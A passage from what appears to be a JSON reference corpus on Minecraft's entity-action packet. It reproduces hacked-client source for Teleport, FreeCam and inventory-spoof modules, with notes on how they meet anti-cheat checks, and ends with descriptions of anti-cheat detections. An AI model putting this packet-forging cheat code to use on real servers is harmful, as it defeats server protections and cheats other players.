      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.PathUtils;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.material.Material;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.client.renderer.entity.RenderManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0BPacketEntityAction.Action;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovingObjectPosition;\nimport org.lwjgl.input.Mouse;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.lwjgl.opengl.GL11.*;\n\n@ModuleInfo(name = \"Teleport\", description = \"Allows you to teleport around.\", category = ModuleCategory.EXPLOIT)\npublic class Teleport extends Module {\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Blink\", \"Flag\", \"Rewinside\", \"OldRewinside\", \"Spoof\", \"Minesucht\", \"AAC3.5.0\"}, \"Blink\");\n    private final ListValue buttonValue = new ListValue(\"Button\", new String[] {\"Left\", \"Right\", \"Middle\"}, \"Middle\");\n\n    private final TickTimer flyTimer = new TickTimer();\n    private boolean hadGround;\n    private final List<Packet<?>> packets = new ArrayList<>();\n    private boolean disableLogger = false;\n    private boolean zitter = false;\n    private boolean doTeleport = false;\n    private boolean freeze = false;\n    private TickTimer freezeTimer = new TickTimer();\n\n    private int delay;\n    private BlockPos endPos;\n    private MovingObjectPosition objectPosition;\n\n    @Override\n    public void onEnable() {\n        if(modeValue.get().equalsIgnoreCase(\"AAC3.5.0\")) {\n            ClientUtils.displayChatMessage(\"§c>>> §a§lTeleport §fAAC 3.5.0 §c<<<\");\n            ClientUtils.displayChatMessage(\"§cHow to teleport: §aPress \" + buttonValue.get() + \" mouse button.\");\n            ClientUtils.displayChatMessage(\"§cHow to cancel teleport: §aDisable teleport module.\");\n        }\n    }\n\n    @Override\n    public void onDisable() {\n        delay = 0;\n        endPos = null;\n        hadGround = false;\n        freeze = false;\n        disableLogger = false;\n        flyTimer.reset();\n\n        packets.clear();\n\n        super.onDisable();\n    }\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event) {\n        final int buttonIndex = Arrays.asList(buttonValue.getValues()).indexOf(buttonValue.get());\n\n        if(modeValue.get().equals(\"AAC3.5.0\")) {\n            freezeTimer.update();\n\n            if(freeze && freezeTimer.hasTimePassed(40)) {\n                freezeTimer.reset();\n                freeze = false;\n                setState(false);\n            }\n\n            if(!flyTimer.hasTimePassed(60)) {\n                flyTimer.update();\n\n                if(mc.thePlayer.onGround) {\n                    mc.thePlayer.jump();\n                }else{\n                    MovementUtils.forward(zitter ? -0.21D : 0.21D);\n                    zitter = !zitter;\n                }\n\n                hadGround = false;\n                return;\n            }\n\n            if(mc.thePlayer.onGround)\n                hadGround = true;\n\n            if(!hadGround)\n                return;\n\n            if(mc.thePlayer.onGround)\n                mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ);\n\n            final float vanillaSpeed = 2F;\n            mc.thePlayer.capabilities.isFlying = false;\n            mc.thePlayer.motionY = 0;\n            mc.thePlayer.motionX = 0;\n            mc.thePlayer.motionZ = 0;\n            if(mc.gameSettings.keyBindJump.isKeyDown())\n                mc.thePlayer.motionY += vanillaSpeed;\n            if(mc.gameSettings.keyBindSneak.isKeyDown())\n                mc.thePlayer.motionY -= vanillaSpeed;\n            MovementUtils.strafe(vanillaSpeed);\n\n            if(Mouse.isButtonDown(buttonIndex) && !doTeleport) {\n                mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - 11, mc.thePlayer.posZ);\n\n                disableLogger = true;\n                packets.forEach(packet -> mc.getNetHandler().addToSendQueue(packet));\n\n                freezeTimer.reset();\n                freeze = true;\n            }\n\n            doTeleport = Mouse.isButtonDown(buttonIndex);\n            return;\n        }\n\n        if(mc.currentScreen == null && Mouse.isButtonDown(buttonIndex) && delay <= 0) {\n            endPos = objectPosition.getBlockPos();\n\n            if(BlockUtils.getBlock(endPos).getMaterial() == Material.air) {\n                endPos = null;\n                return;\n            }\n\n            ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Position was set to §8\" + endPos.getX() + \"§3, §8\" + (endPos.getY() + 1) + \"§3, §8\" + endPos.getZ());\n            delay = 6;\n        }\n\n        if(delay > 0)\n            --delay;\n\n        if(endPos != null) {\n            final double endX = (double) endPos.getX() + 0.5D;\n            final double endY = (double) endPos.getY() + 1D;\n            final double endZ = (double) endPos.getZ() + 0.5D;\n\n            switch(modeValue.get().toLowerCase()) {\n                case \"blink\":\n                    if(mc.thePlayer.isSneaking()) {\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));\n\n                        // Teleport\n                        PathUtils.findBlinkPath(endX, endY, endZ).forEach(vector3d -> {\n                            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vector3d.x, vector3d.y, vector3d.z, true));\n                            mc.thePlayer.setPosition(endX, endY, endZ);\n                        });\n\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));\n                        // Notify\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    }\n                    break;\n                case \"flag\":\n                    if(mc.thePlayer.isSneaking()) {\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));\n\n                        // Teleport\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 5D, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));\n\n                        MovementUtils.forward(0.04D);\n\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));\n                        // Notify\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    }\n                    break;\n                case \"rewinside\":\n                    mc.thePlayer.motionY = 0.1;\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.6D, mc.thePlayer.posZ, true));\n\n                    if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                        endPos = null;\n                    }else\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Teleport try...\");\n                    break;\n                case \"oldrewinside\":\n                    mc.thePlayer.motionY = 0.1;\n\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                    if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                        endPos = null;\n                    }else\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Teleport try...\");\n\n                    MovementUtils.forward(0.04D);\n                    break;\n                case \"minesucht\":\n                    if(!mc.thePlayer.isSneaking())\n                        break;\n\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    break;\n            }\n        }\n    }\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        if(modeValue.get().equals(\"AAC3.5.0\"))\n            return;\n\n        objectPosition = mc.thePlayer.rayTrace(1000, event.getPartialTicks());\n\n        if(objectPosition.getBlockPos() == null)\n            return;\n\n        final int x = objectPosition.getBlockPos().getX();\n        final int y = objectPosition.getBlockPos().getY();\n        final int z = objectPosition.getBlockPos().getZ();\n\n        if(!(BlockUtils.getBlock(objectPosition.getBlockPos()) instanceof BlockAir)) {\n            final RenderManager renderManager = mc.getRenderManager();\n\n            glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n            glEnable(GL_BLEND);\n            glLineWidth(2F);\n            glDisable(GL_TEXTURE_2D);\n            glDisable(GL_DEPTH_TEST);\n            glDepthMask(false);\n            RenderUtils.glColor(modeValue.get().equalsIgnoreCase(\"minesucht\") && mc.thePlayer.getPosition().getY() != y + 1 ? new Color(255, 0, 0, 90) : BlockUtils.getBlock(objectPosition.getBlockPos().up()).getMaterial() != Material.air ? new Color(255, 0, 0, 90) : new Color(0, 255, 0, 90));\n            RenderUtils.drawFilledBox(new AxisAlignedBB(x - renderManager.renderPosX, (y + 1) - renderManager.renderPosY, z - renderManager.renderPosZ, x - renderManager.renderPosX + 1.0D, y + 1.2D - renderManager.renderPosY, z - renderManager.renderPosZ + 1.0D));\n            glEnable(GL_TEXTURE_2D);\n            glEnable(GL_DEPTH_TEST);\n            glDepthMask(true);\n            glDisable(GL_BLEND);\n\n            RenderUtils.renderNameTag(Math.round(mc.thePlayer.getDistance(x, y, z)) + \"m\", x + 0.5, y + 1.7, z + 0.5);\n            GlStateManager.resetColor();\n        }\n    }\n\n    @EventTarget\n    public void onMove(final MoveEvent event) {\n        if (\"aac3.5.0\".equals(modeValue.get().toLowerCase()) && freeze) {\n            event.zeroXZ();\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if(disableLogger)\n            return;\n\n        if(packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;\n\n            switch(modeValue.get().toLowerCase()) {\n                case \"spoof\":\n                    if(endPos == null)\n                        break;\n\n                    packetPlayer.x = endPos.getX() + 0.5D;\n                    packetPlayer.y = endPos.getY() + 1;\n                    packetPlayer.z = endPos.getZ() + 0.5D;\n                    mc.thePlayer.setPosition(endPos.getX() + 0.5D, endPos.getY() + 1, endPos.getZ() + 0.5D);\n                    break;\n                case \"aac3.5.0\":\n                    if(!flyTimer.hasTimePassed(60))\n                        return;\n\n                    event.cancelEvent();\n\n                    if(!(packet instanceof C03PacketPlayer.C04PacketPlayerPosition) && !(packet instanceof C03PacketPlayer.C06PacketPlayerPosLook))\n                        return;\n\n                    packets.add(packet);\n                    break;\n            }\n        }\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The Blink and Flag teleport modes flank the C04 burst with STOP_SNEAKING and START_SNEAKING, so the sneak state the server recorded is never visibly dropped during the teleport window. The C03 mutation in Spoof mode and the cancel-and-queue in AAC3.5.0 mode are the same file's other packet faces.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.java",
      "vanilla_hook": "UpdateEvent (sneak key), PacketEvent (C03 handling).",
      "anti_cheat_notes": "Sneaking while teleporting is semi-legit on servers that treat sneak as slow movement; the burst itself is what position checks measure.",
      "variations": "November's InventoryUtils utility sends C0B OPEN_INVENTORY for inventory-walk style modules; AquaVit's Tp uses the same lag-back pattern without sneak toggles."
     },
     {
      "name": "FreeCam",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Cancel C0B together with C03 so the detached camera never leaks sprint or sneak state to the server.",
      "how_it_works": "A single PacketEvent handler cancels C03PacketPlayer and C0BPacketEntityAction while the module is enabled; the fake player at the origin keeps the server-side entity frozen.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/render/FreeCam.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.render;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\n@ModuleInfo(name = \"FreeCam\", description = \"Allows you to move out of your body.\", category = ModuleCategory.RENDER)\npublic class FreeCam extends Module {\n\n    private final FloatValue speedValue = new FloatValue(\"Speed\", 0.8F, 0.1F, 2F);\n    private final BoolValue flyValue = new BoolValue(\"Fly\", true);\n    private final BoolValue noClipValue = new BoolValue(\"NoClip\", true);\n\n    private EntityOtherPlayerMP fakePlayer = null;\n    private double oldX;\n    private double oldY;\n    private double oldZ;\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        oldX = mc.thePlayer.posX;\n        oldY = mc.thePlayer.posY;\n        oldZ = mc.thePlayer.posZ;\n\n        fakePlayer = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n        fakePlayer.clonePlayer(mc.thePlayer, true);\n\n        fakePlayer.rotationYawHead = mc.thePlayer.rotationYawHead;\n        fakePlayer.copyLocationAndAnglesFrom(mc.thePlayer);\n\n        mc.theWorld.addEntityToWorld(-1000, fakePlayer);\n\n        if(noClipValue.get())\n            mc.thePlayer.noClip = true;\n    }\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer == null || fakePlayer == null)\n            return;\n\n        mc.thePlayer.setPositionAndRotation(oldX, oldY, oldZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);\n        mc.theWorld.removeEntityFromWorld(fakePlayer.getEntityId());\n        fakePlayer = null;\n        mc.thePlayer.motionX = 0;\n        mc.thePlayer.motionY = 0;\n        mc.thePlayer.motionZ = 0;\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        if(noClipValue.get())\n            mc.thePlayer.noClip = true;\n        mc.thePlayer.fallDistance = 0;\n\n        if(flyValue.get()) {\n            final float value = speedValue.get();\n\n            mc.thePlayer.motionY = 0;\n            mc.thePlayer.motionX = 0;\n            mc.thePlayer.motionZ = 0;\n            if(mc.gameSettings.keyBindJump.isKeyDown())\n                mc.thePlayer.motionY += value;\n            if(mc.gameSettings.keyBindSneak.isKeyDown())\n                mc.thePlayer.motionY -= value;\n            MovementUtils.strafe(value);\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C03PacketPlayer || packet instanceof C0BPacketEntityAction)\n            event.cancelEvent();\n    }\n}\n\n// NOTE (AI): The packet handler cancels C0B alongside C03, so the detached camera emits neither movement nor sprint and sneak state. The rest is the fake-player spawn and fly logic.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/render/FreeCam.java",
      "vanilla_hook": "PacketEvent (cancel).",
      "anti_cheat_notes": "Cancelling C0B is what keeps the ghost from toggling sprint server-side; a lingering sprint flag would contradict the frozen position.",
      "variations": "Same file backs the C03 entry."
     },
     {
      "name": "InventoryUtils (open inventory)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Utility helper: send C0B OPEN_INVENTORY so the server opens the player's inventory without a GUI transition, the trick behind inventory-walk modules.",
      "how_it_works": "openInventory() pushes a C0BPacketEntityAction with Action.OPEN_INVENTORY through the raw send queue. The rest of the class is slot math (swap, find, validPotions) shared by AutoPotModule and other modules.",
      "detailed_code": "// ===== FILE: November Recode 2.0, utility/player/InventoryUtils.java =====\n/* November.lol © 2023 */\npackage lol.november.utility.player;\n\nimport com.google.common.collect.Lists;\nimport java.util.List;\nimport net.minecraft.block.Block;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.item.*;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0BPacketEntityAction.Action;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.potion.Potion;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\npublic class InventoryUtils {\n\n  /**\n   * A list of good items\n   */\n  private static final List<Item> goodItems = Lists.newArrayList(\n    Items.golden_apple,\n    Items.apple,\n    Items.cooked_beef,\n    Items.cooked_chicken,\n    Items.cooked_fish,\n    Items.cooked_mutton,\n    Items.cooked_porkchop,\n    Items.cooked_rabbit,\n    Items.cookie,\n    Items.snowball,\n    Items.egg,\n    Items.rabbit_stew,\n    Items.mushroom_stew,\n    Items.ender_pearl,\n    Items.arrow,\n    Items.bow,\n    Items.water_bucket,\n    Items.lava_bucket\n  );\n\n  /**\n   * A list of useless blocks\n   * i want to kms\n   */\n  private static final List<Block> uselessBlocks = Lists.newArrayList(\n    Blocks.stone_button,\n    Blocks.wooden_button,\n    Blocks.stone_pressure_plate,\n    Blocks.wooden_pressure_plate,\n    Blocks.light_weighted_pressure_plate,\n    Blocks.heavy_weighted_pressure_plate,\n    Blocks.dragon_egg,\n    Blocks.brewing_stand,\n    Blocks.chest,\n    Blocks.ender_chest,\n    Blocks.enchanting_table,\n    Blocks.cake,\n    Blocks.flower_pot,\n    Blocks.yellow_flower,\n    Blocks.red_flower,\n    Blocks.tallgrass,\n    Blocks.anvil,\n    Blocks.double_plant,\n    Blocks.sand,\n    Blocks.gravel,\n    Blocks.tripwire,\n    Blocks.tripwire_hook,\n    Blocks.carpet,\n    Blocks.unpowered_repeater,\n    Blocks.powered_repeater,\n    Blocks.redstone_wire,\n    Blocks.torch,\n    Blocks.redstone_torch,\n    Blocks.red_mushroom,\n    Blocks.brown_mushroom,\n    Blocks.lever,\n    Blocks.unlit_redstone_torch,\n    Blocks.bed,\n    Blocks.snow_layer,\n    Blocks.skull,\n    Blocks.stone_slab,\n    Blocks.stone_slab2,\n    Blocks.wooden_slab,\n    Blocks.trapdoor,\n    Blocks.iron_trapdoor,\n    Blocks.spruce_door,\n    Blocks.iron_trapdoor,\n    Blocks.oak_door,\n    Blocks.dark_oak_door,\n    Blocks.jungle_door,\n    Blocks.birch_door,\n    Blocks.acacia_door,\n    Blocks.golden_rail,\n    Blocks.detector_rail,\n    Blocks.rail,\n    Blocks.activator_rail,\n    Blocks.hopper,\n    Blocks.unpowered_comparator,\n    Blocks.powered_comparator\n  );\n\n  /**\n   * Enchantments used on pieces of armor\n   */\n  private static final List<Enchantment> protectionEnchantments =\n    Lists.newArrayList(\n      Enchantment.protection,\n      Enchantment.projectileProtection,\n      Enchantment.blastProtection,\n      Enchantment.fireProtection\n    );\n\n  /**\n   * A list of good potions\n   */\n  public static final List<Potion> validPotions = Lists.newArrayList(\n    Potion.fireResistance,\n    Potion.heal,\n    Potion.healthBoost,\n    Potion.moveSpeed,\n    Potion.digSpeed,\n    Potion.invisibility,\n    Potion.damageBoost,\n    Potion.regeneration,\n    Potion.resistance,\n    Potion.waterBreathing,\n    Potion.nightVision,\n    Potion.jump\n  );\n\n  /**\n   * Enchantments commonly on tools\n   */\n  private static final List<Enchantment> toolEnchantments = Lists.newArrayList(\n    Enchantment.unbreaking,\n    Enchantment.silkTouch,\n    Enchantment.fortune,\n    Enchantment.efficiency\n  );\n\n  private static final Minecraft mc = Minecraft.getMinecraft();\n\n  /**\n   * Spoofs open your inventory\n   */\n  public static void openInventory() {\n    mc.thePlayer.sendQueue.addToSendQueue(\n      new C0BPacketEntityAction(mc.thePlayer, Action.OPEN_INVENTORY)\n    );\n  }\n\n  /**\n   * Closes the current inventory\n   */\n  public static void closeCurrentInventory() {\n    mc.thePlayer.sendQueue.addToSendQueue(new C0DPacketCloseWindow(windowId()));\n  }\n\n  /**\n   * Gets the window ID of the container you're in\n   *\n   * @return the window id of the container you're in\n   */\n  public static int windowId() {\n    Container container = mc.thePlayer.openContainer;\n    return container == null ? 0 : container.windowId;\n  }\n\n  /**\n   * \"Fixes\" a slot to be used in a window click packet\n   *\n   * @param slot the slot index\n   * @return the packet slot\n   */\n  public static int fix(int slot) {\n    return slot < 9 ? slot + 36 : slot;\n  }\n\n  /**\n   * Checks if the block is useless\n   *\n   * @param block the block\n   * @return if it is useless (lol)\n   */\n  public static boolean blockUseless(Block block) {\n    return uselessBlocks.contains(block);\n  }\n\n  /**\n   * Checks if an item is useful\n   *\n   * @param item the item\n   * @return if the item is useful\n   */\n  public static boolean useful(Item item) {\n    if (item instanceof ItemBlock) {\n      Block block = ((ItemBlock) item).getBlock();\n      return !uselessBlocks.contains(block);\n    }\n\n    return goodItems.contains(item);\n  }\n\n  /**\n   * \"Scores\" an {@link ItemStack}\n   *\n   * @param itemStack the item stack\n   * @return a score as a float\n   */\n  public static float score(ItemStack itemStack) {\n    if (itemStack == null || itemStack.getItem() == null) return 0.0f;\n\n    if (itemStack.getItem() instanceof ItemArmor itemArmor) {\n      float score = itemArmor.damageReduceAmount;\n\n      for (Enchantment enchantment : protectionEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.unbreaking.effectId,\n          itemStack\n        ) *\n        0.5f;\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemSword sword) {\n      float score = 4.0f + sword.getDamageVsEntity();\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.unbreaking.effectId,\n          itemStack\n        ) *\n        0.5f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.fireAspect.effectId,\n          itemStack\n        ) *\n        0.5f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.sharpness.effectId,\n          itemStack\n        ) *\n        0.5f;\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemTool tool) {\n      Block block = null;\n      if (tool instanceof ItemPickaxe) {\n        block = Blocks.stone;\n      } else if (tool instanceof ItemAxe) {\n        block = Blocks.log;\n      } else if (tool instanceof ItemSpade) {\n        block = Blocks.grass;\n      }\n\n      float score = block == null\n        ? tool.getDamageVsEntity()\n        : tool.getStrVsBlock(itemStack, Blocks.stone);\n\n      for (Enchantment enchantment : toolEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemHoe) {\n      float score = itemStack\n        .getItem()\n        .getStrVsBlock(itemStack, Blocks.hay_block);\n\n      for (Enchantment enchantment : toolEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemBow) {\n      float score = 1.0f;\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.knockback.effectId,\n          itemStack\n        ) *\n        0.75f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.flame.effectId,\n          itemStack\n        ) *\n        0.75f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.punch.effectId,\n          itemStack\n        ) *\n        0.75f;\n\n      return score;\n    }\n\n    return 1.0f;\n  }\n}\n\n// NOTE (AI): The C0B hit is openInventory(): it sends OPEN_INVENTORY so the server opens the player's inventory without a GUI transition, the trick behind inventory-walk modules. The rest of the class is slot math: swap, find, and the validPotions filter AutoPotModule uses.\n",
      "code_source": "November Recode 2.0, utility/player/InventoryUtils.java",
      "vanilla_hook": "Static helper; called from modules, not an event listener itself.",
      "anti_cheat_notes": "OPEN_INVENTORY with no matching C0D close desyncs the container state, which is why callers pair it with closeCurrentInventory().",
      "variations": "LiquidSense Dev's InventoryUtils resets a click timer on C08 instead (see C08 client_variations); the OPEN_INVENTORY trick is November-only in the corpus."
     }
    ],
    "general_hooks": "PacketSendEvent (Sprint, KeepSprint), PreMotionEvent (Sneak, Scaffold), attack events (WTap). Sigma uses EventPacket; Rise 6.x uses Listener<PacketSendEvent> and scaffold sub-modes.",
    "client_variations": "Rise 5.99 uses PacketUtil.sendPacketWithoutEvent to bypass its own event loop. Spicy pushes to sendQueue directly. Sigma hooks EventPacket with an isIncoming guard. Rise 6.x uses PacketUtil.send and EventLink listeners, and its PingSpoofComponent parks C0B in the blink class list.",
    "related": [
     "C03PacketPlayer",
     "S08PacketPlayerPosLook",
     "C16PacketClientStatus"
    ],
    "anticheat": {
     "overview": "The entity action packet carries sprint, crouch, leave-bed, horse jump and inventory-open actions. Sprint and sneak state is the server-side contract anticheats validate: omni-sprint modules forge the sprint action while ignoring hunger and blindness, and toggle spam abuses the state machine. The corpus shows adapters that forward the action (NCP EntityActionAdapter), state checks that validate sprint against food and potions (Grim SprintA, Truthful SprintA), and direction checks on the move stream (Azure OmniSprint).",
     "checks": [
      {
       "name": "SprintA (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Post-prediction sprint state check: sprinting with a food level at or below 6 is invalid.",
       "how_it_works": "A PostPredictionListener running after the movement simulation. If the prediction was not checked, the player can fly, or the player rides a camel, the check returns (both are legitimate sprint cases). Otherwise, when food is at or below 6 and the client's sprinting flag (set from the entity action packet) is true, it flags with the food level in the verbose; when the flag is false it rewards the balance.",
       "detects": "Omni-sprint and auto-sprint modules that sprint with no hunger, and clients that forge the sprint action state.",
